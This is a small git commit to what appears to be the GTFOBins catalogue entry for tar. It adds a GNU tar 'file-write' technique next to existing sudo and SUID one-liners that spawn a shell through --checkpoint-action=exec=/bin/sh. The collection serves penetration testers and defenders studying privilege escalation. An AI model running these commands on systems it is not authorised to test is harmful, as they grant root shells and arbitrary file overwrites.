Add tar file-write

2018-05-30 00:46:04 +02:00 · 2018-05-30 00:46:04 +02:00 · 1a739b4550
parent 2975d813d2
commit 1a739b4550
1 changed files with 7 additions and 0 deletions
--- a/_gtfobins/tar.md
+++ b/_gtfobins/tar.md
@ -6,4 +6,11 @@ functions:
    - code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
  suid-limited:
    - code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
+  file-write:
+    - description: This only works for GNU tar.
+      code: |
+        LFILE=file_to_write
+        TF=$(mktemp)
+        echo data > "$TF"
+        tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
 ---